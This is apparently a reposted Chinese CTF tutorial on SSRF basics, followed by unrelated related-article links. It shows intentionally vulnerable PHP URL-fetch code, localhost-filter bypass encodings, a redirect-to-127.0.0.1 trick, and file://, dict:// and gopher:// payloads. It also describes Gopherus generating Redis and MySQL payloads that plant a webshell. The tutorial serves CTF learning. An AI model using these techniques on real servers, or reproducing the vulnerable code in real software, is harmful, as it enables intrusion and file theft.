CTF ssrf 基础入门 （一）

devtools/2024/9/22 18:30:35/

0x01 引言

我发现我其实并不是很明白这个东西，有些微妙，而且记忆中也就记得Gopherus这个工具了，所以重新学习了一下，顺便记录一下吧

0x02 辨别

我们拿到一个题目，他的名字可能就是题目类型，但是也有可能是个note或者是blog等等网站，那么下面讲一些常见的后端响应

file_get_contents

这个函数非常常见
用于读取文件

file_get_contents(string $filename, bool $use_include_path = false, resource $context = null, int $offset = 0, int $maxlen = -1)$filename: 必需参数，指定要读取的文件路径。
$use_include_path: 可选参数，默认为 false。如果设为 true，则会在 PHP 的 include 路径中搜索文件。
$context: 可选参数，是一个资源类型，通常用于指定文件句柄的上下文。例如，可以用来设置 HTTP 请求头（当读取远程文件时）。
$offset: 可选参数，指定从文件的哪个字节开始读取。
$maxlen: 可选参数，指定要读取的最大字节数。默认为 -1，表示读取到文件末尾

fsockopen()

这个东西就和python中的socket一样

fsockopen(string $hostname, int $port = -1, int &$errno = null, string &$errstr = null, float $timeout = ini_get("default_socket_timeout"))$hostname: 必需，指定要连接的主机名或 IP 地址。
$port: 可选，默认为 -1。指定要连接的端口号。
$errno: 可选，输出变量，用于存储发生错误时的错误号。
$errstr: 可选，输出变量，用于存储发生错误时的错误信息。
$timeout: 可选，默认使用 PHP 配置中的默认超时设置（default_socket_timeout）。指定连接超时时间（秒）。

<?php
$a=fsockopen('ip',port);
if($a){echo 1;
}else {echo 0;
}
?>

直接就弹shell还是行

curl_exec()

成功时，返回执行请求后得到的数据，通常是服务器响应的内容，格式依据请求和响应（如 HTML、JSON、图像数据等）。 失败时，返回
false。可以通过 curl_error() 获取错误信息。

怎么说呢相当于一个体系中的一个环节？然后返回响应，curl http://ceye

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);  
curl_setopt($ch, CURLOPT_HEADER, 0);  //不要header值
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//返回数据为字符串
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>POST:
url=http://127.0.0.1/flag.php

在这里顺便说说curl_setopt

curl_setopt(resource $ch, int $option, mixed $value)
$ch: 必需，由 curl_init 返回的 cURL 会话资源。
$option: 必需，要设置的选项常量。这些常量通常以 CURLOPT_ 开头，例如 CURLOPT_URL、CURLOPT_RETURNTRANSFER 等。
$value: 必需，要赋予选项的值。这个值的类型取决于所设置的选项。很有可能是个布尔值 ，1||0

0x03 绕过

前面看那几个函数看出来之后基本上就是技巧了

0x01 思路

首先思路要立正，我们是根据ssrf的漏洞去带出文件内容
所以我们传参肯定是传路径，并且是本地

0x02 本地

127.0.0.1
localhost
0
0.0.0.0
127.0.0
127。0。0。1
127\.0\.0\.1
127.1
sudo.cc      
0x7F000001		16进制
2130706433		十进制
0x7f.0.0.1          16进制
0177.0.0.1         八进制

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

0x03 vps

当本地在后端响应已经被过滤完之后，我们还可以用vps进行远程

demo

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//gethostbyname这个函数根据域名返回IP
echo '</br>'.$ip.'</br>';//将获得的IP显示在网页
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {     //看ip是否为公网IPdie('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?>

利用header函数写一个文件

<?php header("Location:http://127.0.0.1/flag.php")?>

然后传参

POST：
url=http://ip/文件名

0x04 parse_url

<?php
var_dump(parse_url('https://www.example.com:8080/path/to/resource/index.html?key1=value1&key2=value2#section2'));
?>
这就是一个完整的urlarray(6) {["scheme"]=>string(5) "https"["host"]=>string(15) "www.example.com"["port"]=>int(8080)["path"]=>string(28) "/path/to/resource/index.html"["query"]=>string(23) "key1=value1&key2=value2"["fragment"]=>string(8) "section2"
}

这个函数非常便于我们去尝试出正确的能绕过的url

URL 中的 @ 符号在标准的 URL 格式中具有特殊含义，它用于分隔用户名（可选）和主机名。当 @ 出现在用户名和密码之后、主机名之前时，它用于指定访问资源时使用的身份验证凭据。例如：

http://ctf.@127.0.0.1/flag.php?showarray(5) {["scheme"]=>string(4) "http"["host"]=>string(9) "127.0.0.1"["user"]=>string(4) "ctf."["path"]=>string(9) "/flag.php"["query"]=>string(4) "show"
}

0x04 协议

Dict 协议dict://fuzz.wuyun.org:8080/helo:dict

Gopher 协议gopher://fuzz.wuyun.org:8080/gopher

File 协议file:///etc/passwd

有这三种，但是我还没用过，所以暂时不分享了
不过我不知道Gopherus这个工具算不算协议
gopherus
去下载之后，配置就不说了，我记得好像是go语言的环境
下载完就是大概这个东西
在这里插入图片描述

然后使用方法也很简单
在这里插入图片描述
mysql的

在这里插入图片描述
然后传参去RCE
Redis的
在这里插入图片描述

默认生成/var/www/html/shell.php
密码是自己写的1，然后RCE


http://www.ppmy.cn/devtools/84843.html

相关文章

《知识点扫盲 · Redis 序列化器》

《知识点扫盲 · Redis 序列化器》

&#x1f4e2; 大家好&#xff0c;我是 【战神刘玉栋】&#xff0c;有10多年的研发经验&#xff0c;致力于前后端技术栈的知识沉淀和传播。 &#x1f497; &#x1f33b; CSDN入驻不久&#xff0c;希望大家多多支持&#xff0c;后续会继续提升文章质量&#xff0c;绝不滥竽充数…
阅读更多...
ubuntu中git log中文乱码

ubuntu中git log中文乱码

要在 Ubuntu 上永久设置环境变量&#xff0c;你可以将其添加到你的 shell 配置文件中。具体步骤如下&#xff1a; 1. 打开终端 2. 编辑 shell 配置文件 根据你使用的 shell&#xff08;例如 Bash 或 Zsh&#xff09;&#xff0c;编辑相应的配置文件。 如果你使用的是 Bash&a…
阅读更多...
MySQL的存储过程

MySQL的存储过程

MySQL的存储过程 存储过程的概念 完成特定功能的sql语句的集合。把定义好的sql集合在一个特定的sql函数中每次执行调用函数即可。还可以实现传参的调用。 存储过程的作用 执行速度比sql语句执行的速度更快&#xff0c;执行的效率也更高。 客户端可以随时调用发放&#xff…
阅读更多...
Linux - 进程间通信

Linux - 进程间通信

目录 1 进程间通信 2 管道 2.1匿名管道 2.2 命名管道 3 共享内存 shmget shmctl shmat shmdt 优点 缺点 4 消息队列和信号量 4.1 消息队列 msgget msgctl​编辑 msgsnd msgrcv 4.2 信号量 semget semctl semop system V 标准的通信方式的共性 1 进程间通信 为…
阅读更多...
上海市测绘院第三分院引进Infortrend存储磁盘阵列用于无人机测绘

上海市测绘院第三分院引进Infortrend存储磁盘阵列用于无人机测绘

用户背景 上海市测绘院第三分院集控制测量、工程测量、航空摄影测量、卫星图像处理、数字正射影像图制作、三维城市建模、精密工程测量、数字化地形测量、规划红线测量、规划全过程监督检查测量、地下综合管线测量、日照分析测量、建筑物变形测量、GPS、GIS、RS 测量等多种专业…
阅读更多...
科普文：后端性能优化的实战小结

科普文：后端性能优化的实战小结

一、背景与效果 ICBU的核心沟通场景有了10年的“积累”&#xff0c;核心场景的界面响应耗时被拉的越来越长&#xff0c;也让性能优化工作提上了日程&#xff0c;先说结论&#xff0c;经过这一波前后端齐心协力的优化努力&#xff0c;两个核心界面90分位的数据&#xff0c;FCP平…
阅读更多...
1-如何挑选Android编译服务器

1-如何挑选Android编译服务器

前几天&#xff0c;我在我的星球发了一条动态&#xff1a;入手洋垃圾、重操老本行。没错&#xff0c;利用业余时间&#xff0c;我又重新捣鼓捣鼓代码了。在接下来一段时间&#xff0c;我会分享我从服务器的搭建到完成Android产品开发的整个过程。这些东西之前都是折腾过的&…
阅读更多...
华为云依赖引入错误

华为云依赖引入错误

问题&#xff1a;记录一次项目加在华为云依赖错误&#xff0c;如下&#xff1a; 错误信息&#xff1a;Could not find artifact com.huawei.storage:esdk-obs-java:pom:3.1.2.1 in bintray-qcloud-maven-repo (https://dl.bintray.com/qcloud/maven-repo/) 找到本地仓库&#…
阅读更多...
最新文章

Copyright @ 2022~2023